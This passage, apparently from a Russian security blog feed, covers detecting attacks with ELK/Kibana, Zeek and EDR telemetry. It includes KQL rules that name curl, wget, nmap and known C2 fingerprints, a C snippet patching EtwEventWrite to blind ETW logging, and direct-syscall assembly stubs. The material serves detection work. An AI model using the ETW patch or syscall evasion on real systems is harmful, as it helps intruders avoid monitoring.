    &lt;li id=&quot;d42Z&quot;&gt;&lt;code&gt;elastic/detection-rules&lt;/code&gt; — Elastic-специфичные, с TOML-форматом&lt;/li&gt;
    &lt;li id=&quot;r8vb&quot;&gt;&lt;code&gt;splunk/security_content&lt;/code&gt; — Splunk Security Essentials&lt;/li&gt;
  &lt;/ul&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;onLm&quot;&gt;6. Анализ временных меток и построение таймлайна&lt;/h2&gt;
  &lt;p id=&quot;AlO9&quot;&gt;Временная шкала — основа любого IR. Несколько критических нюансов:&lt;/p&gt;
  &lt;h3 id=&quot;OyXz&quot;&gt;Проблема временных зон&lt;/h3&gt;
  &lt;pre id=&quot;r9SC&quot;&gt;# Elasticsearch хранит время в UTC. 
# Хосты могут быть в разных TZ.
# Ключевое правило: нормализуй ВСЁ в UTC при инgestе.

# Пример Logstash: принудительная конвертация
filter {
  date {
    match =&amp;gt; [&amp;quot;[winlog][time_created]&amp;quot;, &amp;quot;ISO8601&amp;quot;]
    target =&amp;gt; &amp;quot;@timestamp&amp;quot;
    timezone =&amp;gt; &amp;quot;UTC&amp;quot;  # всегда явно
  }
}
&lt;/pre&gt;
  &lt;blockquote id=&quot;PVvY&quot;&gt;&lt;strong&gt;Forensic trap&lt;/strong&gt;: на Windows &lt;code&gt;@timestamp&lt;/code&gt; в EventLog — время записи в журнал, не время события. Разница может быть значительной при оффлайн-анализе снятых логов.&lt;/blockquote&gt;
  &lt;h3 id=&quot;e8S5&quot;&gt;KQL для временного анализа&lt;/h3&gt;
  &lt;pre id=&quot;Ha7p&quot;&gt;-- Активность в нерабочее время (ночью / выходные)
event.code: &amp;quot;4624&amp;quot;
AND NOT (
    @timestamp &amp;gt;= &amp;quot;now/d+8h&amp;quot; AND @timestamp &amp;lt;= &amp;quot;now/d+18h&amp;quot;
)
AND NOT winlog.event_data.SubjectUserName: (&amp;quot;*quot; OR &amp;quot;SYSTEM&amp;quot;)
&lt;/pre&gt;
  &lt;pre id=&quot;4OUm&quot;&gt;-- Burst: много событий аутентификации за короткий период
-- (brute force или credential stuffing)
-- Реализуется через Kibana Threshold Rule:
-- Group by: winlog.event_data.TargetUserName
-- Threshold: count &amp;gt; 20 over 5 minutes
-- Query:
event.code: &amp;quot;4625&amp;quot;
&lt;/pre&gt;
  &lt;h3 id=&quot;UntR&quot;&gt;Построение таймлайна в Kibana&lt;/h3&gt;
  &lt;p id=&quot;Kgld&quot;&gt;Kibana Timeline (SIEM → Timelines) позволяет:&lt;/p&gt;
  &lt;ol id=&quot;NABX&quot;&gt;
    &lt;li id=&quot;p8iQ&quot;&gt;Создать временную шкалу инцидента&lt;/li&gt;
    &lt;li id=&quot;b9a5&quot;&gt;Прикрепить события из разных индексов (Windows, Linux, Network)&lt;/li&gt;
    &lt;li id=&quot;XKE4&quot;&gt;Добавить аннотации и notes для каждого события&lt;/li&gt;
    &lt;li id=&quot;JoVg&quot;&gt;Экспортировать в CSV/JSON для отчёта&lt;/li&gt;
  &lt;/ol&gt;
  &lt;pre id=&quot;qqt0&quot;&gt;Workflow для IR:
1. Определить T0 (момент первоначального компрометации)
2. Kibana: поиск по host.name + временной диапазон ±24h от T0
3. Добавить в Timeline все подозрительные события
4. Расширить диапазон: искать предшествующую активность (recon)
5. Искать lateral movement по source.ip / destination.ip
6. Построить граф: host → host через сетевые события
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;oYB4&quot;&gt;7. Анализ сетевых логов&lt;/h2&gt;
  &lt;h3 id=&quot;QUQJ&quot;&gt;Zeek (Bro) — структурированные сетевые логи&lt;/h3&gt;
  &lt;pre id=&quot;v7sQ&quot;&gt;# Zeek пишет отдельные лог-файлы по типам:
# conn.log    — все TCP/UDP соединения
# dns.log     — DNS запросы/ответы
# http.log    — HTTP (URL, user-agent, статус)
# ssl.log     — TLS metadata (JA3, SNI, cert)
# files.log   — переданные файлы с хэшами
# notice.log  — алерты встроенных скриптов

# Импорт в Elasticsearch через Filebeat zeek module:
filebeat modules enable zeek
&lt;/pre&gt;
  &lt;p id=&quot;bdH4&quot;&gt;&lt;strong&gt;Полезные KQL-запросы по Zeek:&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;yaWU&quot;&gt;-- Аномальный user-agent (C2 или staged download)
zeek.http.user_agent: (
    &amp;quot;python-requests*&amp;quot; OR &amp;quot;Go-http-client*&amp;quot; OR
    &amp;quot;curl*&amp;quot;            OR &amp;quot;wget*&amp;quot;           OR
    &amp;quot;nmap*&amp;quot;            OR &amp;quot;masscan*&amp;quot;
)
AND NOT source.ip: (&amp;quot;10.0.0.0/8&amp;quot; OR &amp;quot;172.16.0.0/12&amp;quot;)
&lt;/pre&gt;
  &lt;pre id=&quot;yR02&quot;&gt;-- Beaconing: регулярные соединения к одному IP
-- (реализуется через ML job или threshold rule)
-- Признак: одинаковые интервалы, маленький payload, long duration=0

zeek.conn.conn_state: &amp;quot;SF&amp;quot;
AND zeek.conn.duration &amp;lt; 1
AND zeek.conn.orig_bytes &amp;lt; 512
AND destination.port: (80 OR 443 OR 8080 OR 8443)
&lt;/pre&gt;
  &lt;pre id=&quot;t3iS&quot;&gt;-- JA3 fingerprint известных инструментов
-- (Metasploit, Cobalt Strike, etc.)
zeek.ssl.ja3: (
    &amp;quot;a0e9f5d64349fb13191bc781f81f42e1&amp;quot; OR  -- Cobalt Strike default
    &amp;quot;72a7c13d8cc8eea6d15d72d7e1d8b02d&amp;quot;     -- Metasploit
)
&lt;/pre&gt;
  &lt;blockquote id=&quot;9YaD&quot;&gt;&lt;strong&gt;JA3&lt;/strong&gt; — хэш TLS ClientHello параметров. Не зависит от IP/домена — позволяет детектировать инструмент атаки даже при смене C2-инфраструктуры.&lt;/blockquote&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;viWb&quot;&gt;8. Практические инструменты для аналитика&lt;/h2&gt;
  &lt;p id=&quot;7KD1&quot;&gt;Инструмент Назначение Когда использовать     &lt;strong&gt;Kibana SIEM&lt;/strong&gt; централизованный детект + timeline основная рабочая среда   &lt;strong&gt;Kibana Lens&lt;/strong&gt; ad-hoc визуализация данных быстрый анализ распределений   &lt;strong&gt;Elastic ML&lt;/strong&gt; anomaly detection поведенческие аномалии baseline   &lt;strong&gt;jq&lt;/strong&gt; CLI-парсинг JSON-логов быстрый анализ без ES   &lt;strong&gt;Hayabusa&lt;/strong&gt; offline EVTX → timeline/CSV форензика без SIEM   &lt;strong&gt;Chainsaw&lt;/strong&gt; EVTX regex hunt поиск по IoC в .evtx   &lt;strong&gt;Plaso/log2timeline&lt;/strong&gt; super-timeline из артефактов полноценный forensic timeline   &lt;strong&gt;Velociraptor&lt;/strong&gt; live response + hunt IR на endpoints   &lt;strong&gt;Sigma2KQL&lt;/strong&gt; конвертация правил перенос Sigma-правил в Kibana&lt;/p&gt;
  &lt;h3 id=&quot;iMm5&quot;&gt;Hayabusa — быстрый анализ EVTX без SIEM&lt;/h3&gt;
  &lt;pre id=&quot;KfbB&quot;&gt;# Поднять таймлайн из папки с EVTX
.\hayabusa.exe csv-timeline -d C:\Cases\Logs\EVTX\ -o timeline.csv

# Отфильтровать только критические события
.\hayabusa.exe csv-timeline -d .\EVTX\ -m critical -o critical.csv

# Статистика по правилам (что сработало чаще всего)
.\hayabusa.exe logon-summary -d .\EVTX\

# Экспорт в JSONL для импорта в Elastic
.\hayabusa.exe json-timeline -d .\EVTX\ -o timeline.jsonl
&lt;/pre&gt;
  &lt;h3 id=&quot;zHLv&quot;&gt;jq — быстрый разбор JSON без ES&lt;/h3&gt;
  &lt;pre id=&quot;RXt6&quot;&gt;# Из SilkETW JSON: найти все NtAllocateVirtualMemory события
cat etwti.json | jq &amp;#x27;.[] | select(.EventName == &amp;quot;ALLOCVM_REMOTE&amp;quot;) | 
  {pid: .ProcessId, target: .TargetProcessId, size: .RegionSize}&amp;#x27;

# Из Zeek conn.log: топ-10 destination IP по количеству соединений
cat conn.log | zeek-cut id.resp_h | sort | uniq -c | sort -rn | head -10

# Из Sysmon JSONL: все процессы с сетевыми соединениями
cat sysmon.jsonl | jq &amp;#x27;select(.EventID == 3) | 
  {proc: .Image, dst: .DestinationIp, port: .DestinationPort}&amp;#x27;
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;CfZJ&quot;&gt;9. Матрица: MITRE ATT&amp;amp;CK → лог-источник → запрос&lt;/h2&gt;
  &lt;figure id=&quot;KW81&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/89/f9/89f91cbe-75f6-4eb1-8291-78a4d37e8138.png&quot; width=&quot;735&quot; /&gt;
  &lt;/figure&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;cwlo&quot;&gt;10. Заключение&lt;/h2&gt;
  &lt;p id=&quot;Z4cm&quot;&gt;&lt;strong&gt;Главный принцип&lt;/strong&gt;: одиночный сигнал — это шум. Цепочка сигналов с одного хоста за короткий промежуток — это инцидент.&lt;/p&gt;
  &lt;p id=&quot;D22d&quot;&gt;&lt;strong&gt;Красные флаги для немедленного расследования:&lt;/strong&gt;&lt;/p&gt;
  &lt;pre id=&quot;0dNT&quot;&gt;CRITICAL:
  • Office-процесс породил cmd/powershell/wscript
  • LSASS.exe открыт с GrantedAccess 0x1010 или 0x143a
  • vssadmin.exe с параметром delete shadows
  • schtasks.exe /create от непривилегированного пользователя
  • Новый сервис (EID 7045) с путём в %TEMP%
  • DCSync: Security EID 4662 с replication GUIDs

HIGH:
  • PowerShell ScriptBlock с IEX/FromBase64String/AMSI bypass
  • NTLM LogonType 3 с пустым WorkstationName
  • WMI Event Subscription создана не известным sofware
  • Загрузка unsigned DLL из %APPDATA% / %TEMP%
  • JA3-хэш, совпадающий с известным C2-фреймворком
  • DNS-запросы с DGA-паттерном (высокая энтропия имён)
&lt;/pre&gt;

</content></entry><entry><id>sccrrap:7XYKBkZd1a2</id><link rel="alternate" type="text/html" href="https://teletype.in/@sccrrap/7XYKBkZd1a2?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=sccrrap"></link><title>Win32 API → NTAPI → Syscall: детектирование через EDR и ELK/Kibana</title><published>2026-03-10T07:59:08.540Z</published><updated>2026-04-08T07:04:17.594Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img1.teletype.in/files/c0/6c/c06c17d3-2ccd-4265-b351-da263021dba1.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/ac/80/ac807aa8-eb22-4c15-b141-1177901a3244.png&quot;&gt;Содержание</summary><content type="html">
  &lt;figure id=&quot;0ZIG&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ac/80/ac807aa8-eb22-4c15-b141-1177901a3244.png&quot; width=&quot;1376&quot; /&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;SiMX&quot;&gt;1. Архитектура вызовов&lt;/h2&gt;
  &lt;p id=&quot;S5l1&quot;&gt;Прежде чем детектировать — необходимо понимать, что именно происходит в цепочке вызовов. Каждый уровень стека является потенциальной точкой как для атаки, так и для детектирования.&lt;/p&gt;
  &lt;pre id=&quot;bQFC&quot;&gt;Приложение (user-space)
    │
    │   CreateFile(), VirtualAlloc(), OpenProcess()...
    ▼
kernel32.dll / kernelbase.dll          ← [1] EDR User-space Hook (DLL Injection)
    │
    │   Высокоуровневые обёртки → вызов NTAPI
    ▼
ntdll.dll                              ← [2] ETW / API Monitoring
    │                                      [3] Direct Syscall Detection
    │   NtCreateFile()
    │   NtAllocateVirtualMemory()
    │   NtWriteVirtualMemory()
    │   NtCreateThreadEx()
    │
    │   syscall stub:
    │     mov r10, rcx
    │     mov eax, &amp;lt;SSN&amp;gt;    ← Syscall Service Number
    │     syscall           ← переход в ring 0
    ▼
ntoskrnl.exe (kernel)                  ← [4] SSDT (Service Descriptor Table)
    │                                      [5] Kernel Callbacks
    │   SSDT[SSN] → NtCreateFile
    │             → IopCreateFile
    │             → IoCreateFile...
    ▼
Драйвер / ФС / Устройство              ← [6] Minifilter Driver
&lt;/pre&gt;
  &lt;h3 id=&quot;nEu4&quot;&gt;Что такое SSN (Syscall Service Number)&lt;/h3&gt;
  &lt;p id=&quot;2CV1&quot;&gt;SSN — числовой индекс в таблице SSDT, соответствующий конкретной ядерной функции.&lt;br /&gt; Значения &lt;strong&gt;зависят от версии и сборки Windows&lt;/strong&gt; и не являются стабильными между релизами:&lt;/p&gt;
  &lt;p id=&quot;1w7R&quot;&gt;Функция Win10 21H2 Win11 22H2 Win11 23H2     &lt;code&gt;NtAllocateVirtualMemory&lt;/code&gt; &lt;code&gt;0x18&lt;/code&gt; &lt;code&gt;0x18&lt;/code&gt; &lt;code&gt;0x18&lt;/code&gt;   &lt;code&gt;NtWriteVirtualMemory&lt;/code&gt; &lt;code&gt;0x3A&lt;/code&gt; &lt;code&gt;0x3A&lt;/code&gt; &lt;code&gt;0x3A&lt;/code&gt;   &lt;code&gt;NtCreateThreadEx&lt;/code&gt; &lt;code&gt;0xC1&lt;/code&gt; &lt;code&gt;0xC2&lt;/code&gt; &lt;code&gt;0xC3&lt;/code&gt;   &lt;code&gt;NtOpenProcess&lt;/code&gt; &lt;code&gt;0x26&lt;/code&gt; &lt;code&gt;0x26&lt;/code&gt; &lt;code&gt;0x26&lt;/code&gt;&lt;/p&gt;
  &lt;blockquote id=&quot;6T7y&quot;&gt;&lt;strong&gt;Важно для аналитика:&lt;/strong&gt; техники Hell&amp;#x27;s Gate / Halo&amp;#x27;s Gate / Tartarus&amp;#x27; Gate динамически определяют SSN во время выполнения — именно потому что эти числа нестабильны.&lt;/blockquote&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;josp&quot;&gt;2. SSDT&lt;/h2&gt;
  &lt;h3 id=&quot;I7tl&quot;&gt;Что такое SSDT&lt;/h3&gt;
  &lt;p id=&quot;SZ8u&quot;&gt;&lt;strong&gt;System Service Descriptor Table&lt;/strong&gt; — структура ядра Windows, содержащая массив указателей на функции-обработчики системных вызовов. Расположена в &lt;code&gt;ntoskrnl.exe&lt;/code&gt;.&lt;/p&gt;
  &lt;pre id=&quot;XDgs&quot;&gt;// Упрощённое определение
typedef struct _SYSTEM_SERVICE_TABLE {
    PULONG_PTR ServiceTableBase;      // массив адресов функций
    PULONG     ServiceCounterTableBase;
    ULONG      NumberOfServices;      // ~450 функций в современных Windows
    PUCHAR     ParamTableBase;
} SYSTEM_SERVICE_TABLE;

SYSTEM_SERVICE_TABLE KeServiceDescriptorTable[2]; // 0=ядро, 1=Win32k (GUI)
&lt;/pre&gt;
  &lt;h3 id=&quot;Mvm6&quot;&gt;Почему SSDT нельзя мониторить напрямую из user-space&lt;/h3&gt;
  &lt;ol id=&quot;pEY0&quot;&gt;
    &lt;li id=&quot;uE9z&quot;&gt;&lt;strong&gt;SSDT живёт в kernel-памяти&lt;/strong&gt; — прямой доступ из ring 3 невозможен&lt;/li&gt;
    &lt;li id=&quot;MFFA&quot;&gt;&lt;strong&gt;KPP (Kernel Patch Protection / PatchGuard)&lt;/strong&gt; — начиная с x64 Windows, модификация SSDT детектируется и вызывает BSOD с кодом &lt;code&gt;0x109 CRITICAL_STRUCTURE_CORRUPTION&lt;/code&gt;&lt;/li&gt;
    &lt;li id=&quot;8npe&quot;&gt;&lt;strong&gt;Антируткит-инструменты&lt;/strong&gt; (GMER, Kernel Detective) могут читать SSDT через driver — но это не масштабируемое EDR-решение&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h3 id=&quot;9Htu&quot;&gt;Что реально делают EDR&lt;/h3&gt;
  &lt;p id=&quot;KIGv&quot;&gt;Вместо прямого мониторинга SSDT, Enterprise EDR-решения (CrowdStrike Falcon, SentinelOne, Microsoft Defender for Endpoint) используют &lt;strong&gt;ETW Threat Intelligence&lt;/strong&gt; и &lt;strong&gt;Kernel Callbacks&lt;/strong&gt; — легальные Microsoft-approved механизмы, которые дают телеметрию на уровне, максимально близком к SSDT.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;uOnS&quot;&gt;3. Точки перехвата&lt;/h2&gt;
  &lt;pre id=&quot;6lQP&quot;&gt;┌─────────────────────────────────────────────────────────────────┐
│  Уровень          │  Механизм              │  EDR/Tool          │
├─────────────────────────────────────────────────────────────────┤
│  User-space       │  IAT/EAT Hooking       │  EDR DLL inject    │
│  (ring 3)         │  (kernel32/ntdll)      │  (legacy подход)   │
├─────────────────────────────────────────────────────────────────┤
│  Syscall boundary │  ETW Threat Intel      │  ETWTI provider    │
│  (ring 3→0)       │  Direct Syscall det.   │  SilkETW           │
├─────────────────────────────────────────────────────────────────┤
│  Kernel           │  Kernel Callbacks      │  EDR driver        │
│  (ring 0)         │  Minifilter Driver     │  CrowdStrike / S1  │
│                   │  ObRegisterCallbacks   │                    │
└─────────────────────────────────────────────────────────────────┘
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;I1av&quot;&gt;4. ETW — основной механизм телеметрии&lt;/h2&gt;
  &lt;p id=&quot;lFKh&quot;&gt;&lt;strong&gt;Event Tracing for Windows (ETW)&lt;/strong&gt; — ключевой легальный механизм получения syscall-телеметрии без патчинга SSDT.&lt;/p&gt;
  &lt;h3 id=&quot;FghX&quot;&gt;Ключевые провайдеры&lt;/h3&gt;
  &lt;p id=&quot;1LPI&quot;&gt;Provider GUID Покрытие     &lt;code&gt;Microsoft-Windows-Kernel-Process&lt;/code&gt; &lt;code&gt;22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716&lt;/code&gt; CreateProcess, CreateThread, LoadImage   &lt;code&gt;Microsoft-Windows-Kernel-File&lt;/code&gt; &lt;code&gt;EDD08927-9CC4-4E65-B970-C2560FB5C289&lt;/code&gt; NtCreateFile, NtWriteFile, NtReadFile   &lt;code&gt;Microsoft-Windows-Kernel-Registry&lt;/code&gt; &lt;code&gt;70EB4F03-C1DE-4F73-A051-33D13D5413BD&lt;/code&gt; Все Registry-операции   &lt;code&gt;Microsoft-Windows-Kernel-Network&lt;/code&gt; &lt;code&gt;7DD42A49-5329-4832-8DFD-43D979153A88&lt;/code&gt; TCP/UDP события   &lt;strong&gt;&lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt;&lt;/strong&gt; &lt;code&gt;F4E1897C-BB5D-5668-F1D8-040F4D8DD344&lt;/code&gt; &lt;strong&gt;ETWTI — критически важен&lt;/strong&gt;&lt;/p&gt;
  &lt;h3 id=&quot;TjYy&quot;&gt;ETWTI (ETW Threat Intelligence) — приоритет №1&lt;/h3&gt;
  &lt;p id=&quot;FoJC&quot;&gt;ETWTI работает на уровне ядра и &lt;strong&gt;значительно сложнее обойти&lt;/strong&gt;, чем user-space хуки:&lt;/p&gt;
  &lt;pre id=&quot;35oM&quot;&gt;Покрываемые API:
  NtAllocateVirtualMemory   → детект shellcode allocation
  NtProtectVirtualMemory    → детект RW→RX смены прав
  NtWriteVirtualMemory      → детект process injection
  NtCreateThreadEx          → детект remote thread
  NtMapViewOfSection        → детект mapping injection
  NtQueueApcThread          → детект APC injection
  LdrLoadDll                → детект рефлективной загрузки DLL
&lt;/pre&gt;
  &lt;h3 id=&quot;aj7t&quot;&gt;Как малварь пытается обойти ETW&lt;/h3&gt;
  &lt;pre id=&quot;wks6&quot;&gt;// Патч EtwEventWrite в ntdll.dll (user-space ETW патч)
// Малварь ищет функцию и пишет ret в начало:

FARPROC pEtwEventWrite = GetProcAddress(GetModuleHandle(&amp;quot;ntdll.dll&amp;quot;), &amp;quot;EtwEventWrite&amp;quot;);
BYTE patch[] = { 0xC3 };  // ret
WriteProcessMemory(GetCurrentProcess(), pEtwEventWrite, patch, 1, NULL);
&lt;/pre&gt;
  &lt;p id=&quot;I5SC&quot;&gt;&lt;strong&gt;Детект:&lt;/strong&gt; само по себе изменение байт &lt;code&gt;EtwEventWrite&lt;/code&gt; в ntdll — детект-сигнал.&lt;br /&gt; ETWTI работает из ядра → патч user-space ntdll его не отключает.&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;CZZX&quot;&gt;5. Kernel Callbacks&lt;/h2&gt;
  &lt;p id=&quot;fGxZ&quot;&gt;EDR-драйвер регистрирует callbacks через официальный kernel API:&lt;/p&gt;
  &lt;pre id=&quot;Eu4w&quot;&gt;// ── Process Monitoring ────────────────────────────────────────
PsSetCreateProcessNotifyRoutineEx(
    CallbackRoutine,
    FALSE   // регистрация
);
// → срабатывает при каждом CreateProcess / ExitProcess
// → даёт: PEPROCESS, parent PID, image path, commandline

// ── Thread Monitoring ─────────────────────────────────────────
PsSetCreateThreadNotifyRoutine(CallbackRoutine);
// → каждый CreateThread / CreateRemoteThread
// → КРИТИЧНО: remote thread в чужой процесс → IOC

// ── Image Load Monitoring ─────────────────────────────────────
PsSetLoadImageNotifyRoutine(CallbackRoutine);
// → каждая загрузка DLL/драйвера
// → детект: reflective injection, unsigned DLL, загрузка из temp

// ── Registry Monitoring ───────────────────────────────────────
CmRegisterCallback(CallbackRoutine, NULL, &amp;amp;Cookie);
// → все операции с реестром: Run ключи, Services, IFEO...

// ── Handle Operations ─────────────────────────────────────────
ObRegisterCallbacks(&amp;amp;CallbackRegistration, &amp;amp;RegistrationHandle);
// → OpenProcess / OpenThread с конкретными правами доступа
// → КЛЮЧЕВОЙ детект: OpenProcess(LSASS, PROCESS_VM_READ) → Mimikatz
&lt;/pre&gt;
  &lt;h3 id=&quot;dvc2&quot;&gt;GrantedAccess маски для OpenProcess — что искать&lt;/h3&gt;
  &lt;pre id=&quot;RiYG&quot;&gt;0x1010  →  PROCESS_VM_READ | PROCESS_QUERY_LIMITED_INFORMATION   (чтение памяти)
0x1410  →  + PROCESS_VM_OPERATION                                (запись)
0x143A  →  почти все права                                       (дамп)
0x1FFFFF → PROCESS_ALL_ACCESS                                    (полный доступ)
0x0410  →  стандартный Mimikatz-набор прав
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;voMV&quot;&gt;6. Direct Syscall и Syscall Spoofing&lt;/h2&gt;
  &lt;p id=&quot;AV0z&quot;&gt;Это &lt;strong&gt;наиболее актуальная техника обхода&lt;/strong&gt; в 2024–2025. Понимание этого механизма критично для SOC-аналитика.&lt;/p&gt;
  &lt;h3 id=&quot;sVLw&quot;&gt;Почему малварь переходит на Direct Syscall&lt;/h3&gt;
  &lt;p id=&quot;mQVL&quot;&gt;EDR-хуки в ntdll работают по принципу: EDR инжектирует свою DLL в каждый процесс и перехватывает вызовы в ntdll. Если малварь вызывает syscall, &lt;strong&gt;минуя ntdll&lt;/strong&gt; — хук не срабатывает.&lt;/p&gt;
  &lt;pre id=&quot;0r0U&quot;&gt;; ── Нормальный путь через ntdll ──────────────────────────────────
; ntdll!NtAllocateVirtualMemory:
    mov r10, rcx          ; сохранение rcx для syscall
    mov eax, 0x18         ; SSN
    syscall               ; переход в ring 0
    ret

; ── Direct Syscall (малварь в своём .text) ───────────────────────
; malware.exe+0x5678:
    mov r10, rcx          ; те же инструкции
    mov eax, 0x18         ; тот же SSN
    syscall               ; НО: выполняется из адреса малвари!
    ret
&lt;/pre&gt;
  &lt;h3 id=&quot;pThQ&quot;&gt;Syscall Spoofing / Stomping&lt;/h3&gt;
  &lt;p id=&quot;dsll&quot;&gt;Более продвинутая техника: SSN берётся из ntdll, но &lt;code&gt;ret address&lt;/code&gt; подменяется:&lt;/p&gt;
  &lt;pre id=&quot;Ae1p&quot;&gt;Техника &amp;quot;Egg Hunting&amp;quot; / &amp;quot;Synthetic Frames&amp;quot;:
1. Малварь находит syscall stub в ntdll (легитимный адрес)
2. Подменяет return address на стеке → stack walk показывает ntdll
3. Фактически: syscall выполняется из кода малвари, но стек &amp;quot;чистый&amp;quot;
&lt;/pre&gt;
  &lt;h3 id=&quot;fsmR&quot;&gt;Как детектировать Direct Syscall&lt;/h3&gt;
  &lt;h4 id=&quot;jy56&quot;&gt;Метод 1 — Аномальный call stack&lt;/h4&gt;
  &lt;pre id=&quot;XclJ&quot;&gt;── НОРМАЛЬНЫЙ СТЕК ─────────────────────────────────────────────
ntdll!NtAllocateVirtualMemory + 0x14
kernelbase!VirtualAllocEx + 0x5F
malware.exe + 0x1A3C

── ПОДОЗРИТЕЛЬНЫЙ (Direct Syscall) ────────────────────────────
ntdll!NtAllocateVirtualMemory + 0x14
malware.exe + 0x5678          ← нет kernelbase! в стеке
                               ← или: syscall из non-ntdll региона
&lt;/pre&gt;
  &lt;h4 id=&quot;WjJx&quot;&gt;Метод 2 — Адрес инструкции syscall вне диапазона ntdll&lt;/h4&gt;
  &lt;pre id=&quot;EZzj&quot;&gt;# Псевдологика детекта (реализуется в EDR-драйвере):
ntdll_base = get_module_base(&amp;quot;ntdll.dll&amp;quot;)
ntdll_end  = ntdll_base + get_module_size(&amp;quot;ntdll.dll&amp;quot;)

if syscall_instruction_address &amp;lt; ntdll_base or \
   syscall_instruction_address &amp;gt; ntdll_end:
    ALERT(&amp;quot;Direct Syscall detected outside ntdll!&amp;quot;)
    log(process_name, pid, syscall_address, ssn)
&lt;/pre&gt;
  &lt;h4 id=&quot;JIfE&quot;&gt;Метод 3 — Memory region без backing file&lt;/h4&gt;
  &lt;pre id=&quot;EEW2&quot;&gt;Если syscall выполняется из региона памяти, у которого:
  - Type: MEM_PRIVATE (не MEM_IMAGE)
  - State: MEM_COMMIT
  - Protect: PAGE_EXECUTE_READ или PAGE_EXECUTE_READWRITE
  - MappedFile: None (нет backing PE-файла)

→ Это shellcode или reflective DLL → HIGH CONFIDENCE IOB
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;8RDX&quot;&gt;7. ELK / Kibana — конкретные запросы и правила&lt;/h2&gt;
  &lt;h3 id=&quot;Cezv&quot;&gt;Источники данных&lt;/h3&gt;
  &lt;pre id=&quot;RBFP&quot;&gt;Sysmon v14+       → Winlogbeat  → Elasticsearch → Kibana SIEM
ETW (SilkETW)     → Filebeat    → Logstash      → Kibana
EDR Telemetry     → Logstash    → ES            → Kibana
Windows EventLog  → Winlogbeat  → ES            → Kibana
&lt;/pre&gt;
  &lt;h3 id=&quot;XZS6&quot;&gt;Sysmon — критические Event ID&lt;/h3&gt;
  &lt;p id=&quot;Jvuy&quot;&gt;EID Событие Применение     1 Process Create commandline, hashes, parent   7 Image Loaded DLL из temp/appdata, unsigned   8 CreateRemoteThread remote thread injection   10 ProcessAccess OpenProcess + GrantedAccess   17/18 Pipe Created/Connected lateral movement, C2   25 Process Tampering hollowing, herpaderping&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h3 id=&quot;k0dN&quot;&gt;KQL — запросы для Kibana SIEM&lt;/h3&gt;
  &lt;h4 id=&quot;1PYU&quot;&gt;🔴 LSASS Access (Credential Dumping)&lt;/h4&gt;
  &lt;pre id=&quot;zSRW&quot;&gt;event.code: &amp;quot;10&amp;quot;
AND winlog.event_data.TargetImage: &amp;quot;*\\lsass.exe&amp;quot;
AND winlog.event_data.GrantedAccess: (
    &amp;quot;0x1010&amp;quot; OR &amp;quot;0x1410&amp;quot; OR &amp;quot;0x143a&amp;quot; OR
    &amp;quot;0x1fffff&amp;quot; OR &amp;quot;0x0410&amp;quot; OR &amp;quot;0x1438&amp;quot;
)
AND NOT winlog.event_data.SourceImage: (
    &amp;quot;C:\\Windows\\System32\\svchost.exe&amp;quot; OR
    &amp;quot;C:\\Windows\\System32\\werfault.exe&amp;quot; OR
    &amp;quot;C:\\Windows\\System32\\taskmgr.exe&amp;quot; OR
    &amp;quot;C:\\Program Files\\*\\MsMpEng.exe&amp;quot;
)
&lt;/pre&gt;
  &lt;p id=&quot;ozsl&quot;&gt;&lt;strong&gt;Детектирует:&lt;/strong&gt; Mimikatz, ProcDump, Nanodump, lsassy&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h4 id=&quot;Zpfu&quot;&gt;🔴 Process Injection — Remote Thread&lt;/h4&gt;
  &lt;pre id=&quot;7kNR&quot;&gt;event.code: &amp;quot;8&amp;quot;
AND winlog.event_data.TargetImage: (
    &amp;quot;*\\explorer.exe&amp;quot; OR &amp;quot;*\\svchost.exe&amp;quot; OR
    &amp;quot;*\\lsass.exe&amp;quot;   OR &amp;quot;*\\winlogon.exe&amp;quot; OR
    &amp;quot;*\\spoolsv.exe&amp;quot;
)
AND NOT winlog.event_data.SourceImage: (
    &amp;quot;C:\\Windows\\System32\\*&amp;quot; OR
    &amp;quot;C:\\Windows\\SysWOW64\\*&amp;quot; OR
    &amp;quot;C:\\Program Files\\*&amp;quot;
)
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h4 id=&quot;OreL&quot;&gt;🔴 Подозрительная загрузка DLL (Unsigned / Temp)&lt;/h4&gt;
  &lt;pre id=&quot;iq60&quot;&gt;event.code: &amp;quot;7&amp;quot;
AND winlog.event_data.Signed: &amp;quot;false&amp;quot;
AND winlog.event_data.ImageLoaded: (
    &amp;quot;*\\AppData\\*&amp;quot;   OR
    &amp;quot;*\\Temp\\*&amp;quot;      OR
    &amp;quot;*\\ProgramData\\*&amp;quot; OR
    &amp;quot;*\\Users\\Public\\*&amp;quot;
)
AND NOT winlog.event_data.Image: (
    &amp;quot;C:\\Windows\\System32\\*&amp;quot; OR
    &amp;quot;C:\\Windows\\SysWOW64\\*&amp;quot;
)
&lt;/pre&gt;
  &lt;hr /&gt;
  &lt;h4 id=&quot;ydiR&quot;&gt;🔴 RW→RX смена прав памяти (Shellcode Pattern)&lt;/h4&gt;
  &lt;pre id=&quot;WfZq&quot;&gt;event.provider: &amp;quot;Microsoft-Windows-Threat-Intelligence&amp;quot;
AND winlog.event_data.NewAccessProtection: (
